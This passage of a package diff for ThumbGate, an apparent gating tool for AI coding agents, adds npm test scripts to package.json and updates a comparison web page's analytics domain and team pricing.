test:seo-gsd && npm run test:verify-run && npm run test:export-dpo-pairs && npm run test:export-hf-dataset && npm run test:license && npm run test:bot-detector && npm run test:postinstall && npm run test:funnel-invariants && npm run test:cli-telemetry && npm run test:pro-parity && npm run test:model-tier-router && npm run test:computer-use-firewall && npm run test:skill-exporter && npm run test:statusline && npm run test:evolution && npm run test:org-dashboard && npm run test:multi-hop-recall && npm run test:synthetic-dpo && npm run test:thumbgate-skill && npm run test:learn-hub && npm run test:feedback-fallback && npm run test:metaclaw && npm run test:server-lock && npm run test:control-tower && npm run test:pii-scanner && npm run test:data-governance && npm run test:lesson-inference && npm run test:semantic-dedup && npm run test:fs-utils && npm run test:cli-schema && npm run test:explore && npm run test:lesson-reranker && npm run test:lesson-retrieval && npm run test:cross-encoder && npm run test:reflector-agent && npm run test:feedback-session && npm run test:feedback-history-distiller && npm run test:hallucination-detector && npm run test:history-distiller && npm run test:predictive-insights && npm run test:prove-predictive-insights && npm run test:statusbar-cli && npm run test:generate-instagram-card && npm run test:instagram-thumbgate-post && npm run test:publish-instagram-thumbgate && npm run test:lesson-synthesis && npm run test:background-governance && npm run test:memory-migration && npm run test:prompt-dlp && npm run test:ephemeral-store && npm run test:agent-security && npm run test:skill-progressive && npm run test:per-step-scoring && npm run test:weekly-auto-post && npm run test:social-post-hourly && npm run test:social-quality-gate && npm run test:a2ui-engine && npm run test:gate-satisfy && npm run test:money-watcher && npm run test:budget && npm run test:quick-start && npm run test:utm && npm run test:product-feedback && npm run test:feedback-root-consolidator && npm run test:engagement-audit && npm run test:install-growth-automation && npm run test:publish-thumbgate-launch && npm run test:reconcile-thumbgate-campaign && npm run test:reddit-publisher && npm run test:schedule-thumbgate-campaign && npm run test:social-reply-monitor && npm run test:sync-launch-assets && npm run test:ai-search-visibility && npm run test:perplexity && npm run test:security-scanner && npm run test:llm-client && npm run test:managed-lesson-agent && npm run test:self-distill && npm run test:meta-agent && npm run test:harness-selector && npm run test:thumbgate-bench && npm run test:seo-guides && npm run test:enforcement-loop && npm run test:cli-agent-experience && npm run test:bot-detection && npm run test:checkout-bot-guard && npm run test:session-health && npm run test:session-episodes && npm run test:spec-gate && npm run test:decision-trace && npm run test:dashboard-insights && npm run test:prompt-eval && npm run test:demo-voiceover && npm run test:gate-coherence && npm run test:gate-eval && npm run test:high-roi && npm run test:public-static-assets && npm run test:token-savings && npm run test:workflow-gate-checkpoint && npm run test:lesson-export-import",
|
|
245
|
+
"test:session-health": "node --test tests/session-health-sensor.test.js",
|
|
246
|
+
"test:session-episodes": "node --test tests/session-episode-store.test.js",
|
|
247
|
+
"test:spec-gate": "node --test tests/spec-gate.test.js",
|
|
248
|
+
"test:dashboard-insights": "node --test tests/dashboard-insights.test.js",
|
|
249
|
+
"test:prompt-eval": "node --test tests/prompt-eval.test.js",
|
|
250
|
+
"test:decision-trace": "node --test tests/decision-trace.test.js",
|
|
228
251
|
"test:feedback-fallback": "node --test tests/feedback-fallback.test.js",
|
|
229
252
|
"test:metaclaw": "node --test tests/metaclaw-features.test.js",
|
|
230
253
|
"test:server-lock": "node --test tests/server-stdio-lock.test.js",
|
|
@@ -285,15 +308,16 @@
|
|
|
285
308
|
"test:quality": "node --test tests/validate-feedback.test.js",
|
|
286
309
|
"test:intelligence": "node --test tests/intelligence.test.js",
|
|
287
310
|
"test:training-export": "node --test tests/training-export.test.js tests/databricks-export.test.js",
|
|
288
|
-
"test:deployment": "node --test tests/deployment.test.js tests/deploy-policy.test.js tests/publish-decision.test.js tests/changeset-check.test.js tests/release-notes.test.js tests/sonarcloud-workflow.test.js tests/package-boundary.test.js",
|
|
311
|
+
"test:deployment": "node --test tests/deployment.test.js tests/deploy-policy.test.js tests/publish-decision.test.js tests/changeset-check.test.js tests/release-notes.test.js tests/sonarcloud-workflow.test.js tests/package-boundary.test.js tests/revenue-observability-workflow.test.js",
|
|
289
312
|
"test:operational-integrity": "node --test tests/operational-integrity.test.js tests/sync-branch-protection.test.js",
|
|
290
|
-
"test:workflow": "node --test tests/workflow-contract.test.js tests/social-marketing-assets.test.js tests/social-pipeline.test.js tests/positioning-contract.test.js tests/docs-claim-hygiene.test.js tests/workflow-runs.test.js tests/workflow-sprint-intake.test.js tests/gtm-revenue-loop.test.js tests/enterprise-story.test.js tests/ralph-loop.test.js tests/ralph-mode-ci.test.js",
|
|
313
|
+
"test:workflow": "node --test tests/workflow-contract.test.js tests/social-marketing-assets.test.js tests/social-pipeline.test.js tests/positioning-contract.test.js tests/docs-claim-hygiene.test.js tests/thumbgate-scope.test.js tests/workflow-runs.test.js tests/workflow-sprint-intake.test.js tests/gtm-revenue-loop.test.js tests/sales-pipeline.test.js tests/enterprise-story.test.js tests/ralph-loop.test.js tests/ralph-mode-ci.test.js",
|
|
314
|
+
"test:sales-pipeline": "node --test tests/sales-pipeline.test.js",
|
|
291
315
|
"test:billing": "node --test tests/billing.test.js",
|
|
292
|
-
"test:cli": "node --test tests/analytics-report.test.js tests/creator-campaigns.test.js tests/cli.test.js tests/codex-bridge-script.test.js tests/dispatch-brief.test.js tests/feedback-normalize.test.js tests/install-mcp.test.js tests/pr-manager.test.js tests/pro-local-dashboard.test.js tests/published-cli.test.js tests/revenue-status.test.js",
|
|
316
|
+
"test:cli": "node --test tests/analytics-report.test.js tests/creator-campaigns.test.js tests/cli.test.js tests/codex-bridge-script.test.js tests/dispatch-brief.test.js tests/feedback-normalize.test.js tests/install-mcp.test.js tests/pr-manager.test.js tests/pro-local-dashboard.test.js tests/published-cli.test.js tests/revenue-status.test.js tests/stripe-live-status.test.js",
|
|
293
317
|
"test:evolution": "node --test tests/workspace-evolver.test.js",
|
|
294
318
|
"test:watcher": "node --test tests/jsonl-watcher.test.js",
|
|
295
319
|
"test:autoresearch": "node --test tests/autoresearch.test.js",
|
|
296
|
-
"test:ops": "node --test tests/adk-consolidator.test.js tests/anthropic-partner-strategy.test.js tests/auto-promote-gates.test.js tests/auto-wire-hooks.test.js tests/claude-skill.test.js tests/codegraph-context.test.js tests/commercial-signals.test.js tests/decision-journal.test.js tests/delegation-runtime.test.js tests/disagreement-mining.test.js tests/failure-diagnostics.test.js tests/gate-stats.test.js tests/github-billing.test.js tests/intervention-policy.test.js tests/markdown-escape.test.js tests/mcp-tools-gates.test.js tests/project-bayes-e2e.test.js tests/project-bayes.test.js tests/rate-limiter.test.js tests/schedule-manager.test.js tests/session-handoff.test.js tests/skill-generator.test.js tests/smart-learning.test.js tests/spike-and-sink.test.js tests/stripe-webhook-route.test.js tests/stripe-webhook-rotation.test.js tests/train-from-feedback.test.js tests/workflow-hardening-sprint.test.js tests/workflow-sentinel.test.js tests/test-suite-parity.test.js tests/a2ui-engine.test.js tests/webhook-delivery.test.js",
|
|
320
|
+
"test:ops": "node --test tests/adk-consolidator.test.js tests/anthropic-partner-strategy.test.js tests/auto-promote-gates.test.js tests/auto-wire-hooks.test.js tests/claude-skill.test.js tests/codegraph-context.test.js tests/commercial-signals.test.js tests/decision-journal.test.js tests/delegation-runtime.test.js tests/disagreement-mining.test.js tests/failure-diagnostics.test.js tests/gate-stats.test.js tests/github-billing.test.js tests/intervention-policy.test.js tests/markdown-escape.test.js tests/mcp-tools-gates.test.js tests/project-bayes-e2e.test.js tests/project-bayes.test.js tests/rate-limiter.test.js tests/schedule-manager.test.js tests/session-handoff.test.js tests/skill-generator.test.js tests/smart-learning.test.js tests/spike-and-sink.test.js tests/stripe-revenue.test.js tests/stripe-webhook-route.test.js tests/stripe-webhook-rotation.test.js tests/train-from-feedback.test.js tests/workflow-hardening-sprint.test.js tests/workflow-sentinel.test.js tests/test-suite-parity.test.js tests/a2ui-engine.test.js tests/webhook-delivery.test.js",
|
|
297
321
|
"test:session-analyzer": "node --test tests/session-analyzer.test.js",
|
|
298
322
|
"test:tessl": "node --test tests/tessl-export.test.js",
|
|
299
323
|
"test:gates": "node --test tests/gate-templates.test.js tests/gates-engine.test.js tests/claim-verification.test.js tests/secret-scanner.test.js tests/prompt-guard.test.js tests/audit-trail.test.js tests/profile-router.test.js tests/workflow-sentinel.test.js tests/docker-sandbox-planner.test.js",
|
|
@@ -346,8 +370,12 @@
|
|
|
346
370
|
"social:poll:zernio": "node scripts/social-analytics/pollers/zernio.js",
|
|
347
371
|
"social:publish:zernio": "node scripts/social-analytics/publishers/zernio.js",
|
|
348
372
|
"test:zernio": "node --test tests/zernio-integration.test.js",
|
|
373
|
+
"test:post-video": "node --test tests/post-video.test.js",
|
|
374
|
+
"test:post-everywhere-instagram": "node --test tests/post-everywhere-instagram.test.js",
|
|
349
375
|
"test:license": "node --test tests/license.test.js",
|
|
350
376
|
"test:bot-detector": "node --test tests/bot-detector.test.js",
|
|
377
|
+
"test:bot-detection": "node --test tests/bot-detection.test.js",
|
|
378
|
+
"test:checkout-bot-guard": "node --test tests/checkout-bot-guard.test.js",
|
|
351
379
|
"test:postinstall": "node --test tests/postinstall.test.js",
|
|
352
380
|
"test:funnel-invariants": "node --test tests/funnel-invariants.test.js",
|
|
353
381
|
"test:cli-telemetry": "node --test tests/cli-telemetry.test.js",
|
|
@@ -383,7 +411,7 @@
|
|
|
383
411
|
"test:per-step-scoring": "node --test tests/per-step-scoring.test.js",
|
|
384
412
|
"test:weekly-auto-post": "node --test tests/weekly-auto-post.test.js",
|
|
385
413
|
"test:social-post-hourly": "node --test tests/social-post-hourly.test.js",
|
|
386
|
-
"test:social-quality-gate": "node --test tests/social-quality-gate.test.js",
|
|
414
|
+
"test:social-quality-gate": "node --test tests/social-quality-gate.test.js tests/validate-social-post.test.js",
|
|
387
415
|
"test:a2ui-engine": "node --test tests/a2ui-engine.test.js",
|
|
388
416
|
"test:gate-satisfy": "node --test tests/gate-satisfy.test.js",
|
|
389
417
|
"test:money-watcher": "node --test tests/money-watcher.test.js",
|
|
@@ -436,7 +464,15 @@
|
|
|
436
464
|
"perplexity:mcp-config": "node scripts/perplexity-command-center.js mcp-config",
|
|
437
465
|
"test:explore": "node --test tests/explore.test.js",
|
|
438
466
|
"test:cli-schema": "node --test tests/cli-schema.test.js",
|
|
439
|
-
"test:cli-agent-experience": "node --test tests/cli-agent-experience.test.js"
|
|
467
|
+
"test:cli-agent-experience": "node --test tests/cli-agent-experience.test.js",
|
|
468
|
+
"test:demo-voiceover": "node --test tests/demo-voiceover.test.js",
|
|
469
|
+
"test:gate-coherence": "node --test tests/gate-coherence.test.js",
|
|
470
|
+
"test:gate-eval": "node --test tests/gate-eval.test.js",
|
|
471
|
+
"test:high-roi": "node --test tests/high-roi.test.js",
|
|
472
|
+
"test:public-static-assets": "node --test tests/public-static-assets.test.js",
|
|
473
|
+
"test:token-savings": "node --test tests/token-savings.test.js",
|
|
474
|
+
"test:workflow-gate-checkpoint": "node --test tests/workflow-gate-checkpoint.test.js",
|
|
475
|
+
"test:lesson-export-import": "node --test tests/lesson-export-import.test.js"
|
|
440
476
|
},
|
|
441
477
|
"keywords": [
|
|
442
478
|
"mcp",
|
package/public/compare.html
CHANGED
|
@@ -5,7 +5,7 @@
|
|
|
5
5
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
6
6
|
<title>Best Pre-Action Gate Tools for AI Coding Agents (2026 Comparison)</title>
|
|
7
7
|
<!-- Privacy-friendly analytics by Plausible -->
|
|
8
|
-
<script defer data-domain="
|
|
8
|
+
<script defer data-domain="thumbgate-production.up.railway.app" src="https://plausible.io/js/script.js"></script>
|
|
9
9
|
<meta name="description" content="Compare pre-action gate tools that prevent AI coding agents from making costly mistakes. ThumbGate vs manual review vs post-hoc fixes.">
|
|
10
10
|
<meta name="keywords" content="AI agent safety, pre-action gates, AI coding agent comparison, ThumbGate vs manual review, AI agent guardrails, PreToolUse hooks, Claude Code safety, Codex safety, Gemini safety, Cursor rules alternative">
|
|
11
11
|
<meta property="og:title" content="Best Pre-Action Gate Tools for AI Coding Agents (2026 Comparison)">
|
|
@@ -62,7 +62,7 @@
|
|
|
62
62
|
"name": "Is ThumbGate free?",
|
|
63
63
|
"acceptedAnswer": {
|
|
64
64
|
"@type": "Answer",
|
|
65
|
-
"text": "ThumbGate has a free tier that includes local enforcement with 3 daily feedback captures, 5 lesson searches, unlimited recall, blocking, and history-aware lesson distillation. Pro ($19/mo or $149/yr) adds a personal local dashboard and DPO export. Team rollout ($
|
|
65
|
+
"text": "ThumbGate has a free tier that includes local enforcement with 3 daily feedback captures, 5 lesson searches, unlimited recall, blocking, and history-aware lesson distillation. Pro ($19/mo or $149/yr) adds a personal local dashboard and DPO export. Team rollout ($49/seat/mo) adds a shared lesson database and org dashboard."
|
|
66
66
|
}
|
|
67
67
|
},
|
|
68
68
|
{
|
|
@@ -287,7 +287,7 @@
|
|
|
287
287
|
|
|
288
288
|
<div class="card">
|
|
289
289
|
<h3>Is ThumbGate free?</h3>
|
|
290
|
-
<p>ThumbGate has a free tier that includes local enforcement with 3 daily feedback captures, 5 lesson searches, unlimited recall, and pre-action gate blocking. Pro ($19/mo or $149/yr) adds a personal local dashboard and DPO export. Team rollout ($
|
|
290
|
+
<p>ThumbGate has a free tier that includes local enforcement with 3 daily feedback captures, 5 lesson searches, unlimited recall, and pre-action gate blocking. Pro ($19/mo or $149/yr) adds a personal local dashboard and DPO export. Team rollout ($49/seat/mo) adds a shared lesson database and org dashboard.</p>
|
|
291
291
|
</div>
|
|
292
292
|
|
|
293
293
|
<div class="card">
|